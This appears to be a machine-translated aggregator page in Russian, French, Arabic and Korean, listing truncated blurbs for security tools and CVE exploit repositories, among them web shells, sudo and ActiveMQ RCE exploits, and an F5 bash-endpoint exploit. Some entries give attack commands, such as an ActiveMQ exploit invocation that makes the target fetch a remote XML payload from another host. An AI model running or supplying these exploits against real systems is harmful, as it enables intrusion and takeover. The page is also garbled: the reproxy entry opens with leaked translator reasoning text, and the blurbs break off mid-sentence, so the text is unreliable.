CVE-2016-6210-Exploit

Это первая версия "боевой" эксплойта для CVE-2016-6210 Предыстория: Опубликовано Эдди Харари в Full Disclosure http://seclists.org/fulldisclosure/2016/Jul/51 Краткое описание: Отправляя большие пароли, удаленный пользователь может перечислять пользователей в системе, работающей под SSHD. Эта...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC Этот proof-of-concept скрипт демонстрирует, как использовать CVE-2024-4323, уязвимость повреждения памяти в Fluent Bit, позволяющую удалённое выполнение кода. CVE-2024-4323 — это уязвимость повреждения памяти в Fluent Bit версиях с 2.0.7 по 3.0.3. Проблема заключается в...

test_struts2_vulnerability_CVE-2017-5638

teststruts2vulnerabilityCVE-2017-5638inMACOSX test de la vulnérabilité struts2 CVE-2017-5638 sous Mac OS X télécharger l'application web de test et l'exécuter dans tomcat root@kitploit: install tomcat brew install tomcat confirm where the tomcat installed ls -lF which catalina confirm tomcat home...

CVE-2025-32463

Sudo version 1.9.17 a une vulnérabilité critique CVE-2025-32463 qui permet à des utilisateurs locaux d'obtenir un accès root en exploitant l'option chroot, ce qui peut entraîner de graves risques de sécurité. Il est conseillé aux utilisateurs de mettre à jour vers la version 1.9.17p1 ou ultérieur...

troll-a

Troll-A Troll-A — это инструмент командной строки для извлечения секретов, таких как пароли, ключи API и токены, из файлов WARC Web ARChive. Troll-A представляет собой простое в использовании , всеобъемлющее и быстрое решение для поиска секретов в веб-архивах. Возможности Протоколы: Поддерживает...

CVE-2024-32019-ndsudo

La vulnérabilité ndsudo permet à un attaquant d'obtenir des privilèges root en exploitant un chemin de recherche non fiable dans l'outil ndsudo, qui fait partie de l'Agent Netdata. Cela peut permettre l'exécution de programmes arbitraires avec des privilèges élevés si l'attaquant place un binaire...

osint_toolkit

OSINT Toolkit تحذير OSINT Toolkit ليست جاهزة للإنتاج بعد. هذه نسخة أولية مبكرة لا تزال بحاجة إلى بعض العمل. تطبيق ويب كامل التقنيات مبني لمحللي الأمن OSINT Toolkit هي منصة تحليل عند الطلب قابلة للاستضافة الذاتية، مصممة لمتخصصي الأمن. تقوم بتجميع أدوات أمنية متنوعة في بيئة واحدة سهلة الاستخدام، مم...

sudo_digest_toctou_poc_CVE-2015-8239

sudoers DigestSpec TOCTOU POC Justification Alyssa Milburn https://twitter.com/noopwafel a découvert un bug de condition de compétition TOCTOU dans sudo lorsque le paramètre DigestSpec est utilisé. Le paramètre DigestSpec peut être utilisé pour permettre à un utilisateur d'exécuter sudo sur un...

nosurf-cve-2025-46721

CVE-2025-46721: justinas/nosurf의 동일 출처 검사 기능 불량으로 인한 CSRF 무슨 일이 있었나요? 영향을 받나요? PoC 패치 감사의 말 무슨 일이 있었나요? nosurf 1.2.0 이전의 모든 버전은 들어오는 요청에 대해 동일 출처 검사를 적용하지 못했습니다. 이는 Go 표준 라이브러리의 net/http.Request 타입에 있는 .URL.Scheme 필드를 사용하여 요청이 HTTPS를 통해 제공되는지 먼저 확인한 후에만 동일 출처 검사를 적용했기 때문입니다. 앞서 언급한 Scheme 필드는 들어오...

HouseProxy

HouseProxy Protégez vos parents du phishing, proxy HTTP conçu pour bloquer les URL de phishing. Installation root@kitploit: git clone https://github.com/mthbernardes/HouseProxy.git cd HouseProxy/ pip3 install -r requeriments.txt Configuration root@kitploit: Edit etc/HouseProxy.conf to change de...

habu

مجموعة أدوات الاختراق Habu أقوم بتطوير Habu لتعليم وتعلم بعض المفاهيم حول Python واختراق الشبكات. بعض التقنيات المطبقة في الإصدار الحالي هي: ARP Poisoning and Sniffing DHCP Discover and Starvation Subdomains Identification Certificate Cloning TCP Analysis ISN, Flags Username check on social...

reproxy

"? No, it ends with "Example of config.yml:" and then the line ends. That is the end of the chunk. So we translate that. We must ensure no extra text is added. Let's produce the translation. Reproxy هو خادم حافة HTTPs بسيط / وكيل عكسي يدعم مزودين متعددين docker، static، file، consul catalog. يقوم...

geoexplorer

GeoExplorer Клиент Это клиентская часть проекта GeoExplorer, предназначенная для отправки запросов к экземплярам GeoServer и проверки на потенциальные уязвимости. Требования Python 3.x Необходимые пакеты Python установка с помощью pip install -r requirements.txt: requests argparse urllib3...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le...

mass_cve-2021-41773

masscve-2021-41773 MASS CVE-2021-41773 스크린샷 사용법 ! python3 -m pip install requests pyyhon3 cve-2021-41773.py urlist.txt pool 참고 ! 결과는 vuln.txt에 자동으로 저장됩니다. 일반 디렉토리를 https://github.com/justakazh/masscve-2021-41773/blob/4579bdbbda666b47b40116518d3fc5729574a2f8/cve-2021-41773.pyL49 에 추가할 수 있습니다. 참고 자...

LeakManager

LeakManager Installation root@kitploit: sudo apt-get install mongodb-org screen pip3 install -r requeriments.txt Utilisation root@kitploit: screen -S leakManager hug -f index.py -p 1337 OR gunicorn index:hugwsgi -b 0.0.0.0:1337 OR uwsgi --http 0.0.0.0:1337 --wsgi-file index.py --callable hugwsgi...

django-defender

django-defender .. image:: https://jazzband.co/static/img/badge.svg :target: https://jazzband.co/ :alt: Jazzband .. image:: https://img.shields.io/pypi/pyversions/django-defender.svg :alt: Supported Python versions :target: https://pypi.org/project/django-defender/ .. image::...

CVE-2022-1388

CVE-2022-1388 Vérification et exploitation pour CVE-2022-1388 Installation: root@kitploit: python3 -m pip install -r requirements.txt Utilisation Cible unique : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash...

CVE-2023-42793

Description de CVE-2023-42793 Une vulnérabilité de sécurité dans JetBrains TeamCity permet à un attaquant de créer un nouvel utilisateur fourni par l'attaquant avec des privilèges administratifs. Exemple d'utilisation ./cve-2023-42793 http://teamcity.examplewebsite.com username password...

PyShell

PyShell PyShell هي أداة ويب شل متعددة المنصات بلغة بايثون. تساعدك هذه الأداة في الحصول على واجهة شبيهة بالشِل على خادم ويب للوصول إليه عن بُعد. على عكس أدوات ويب شل الأخرى، فإن الهدف الرئيسي للأداة هو استخدام أقل قدر ممكن من الكود على جانب الخادم، بغض النظر عن اللغة المستخدمة أو نظام تشغيل الخادم...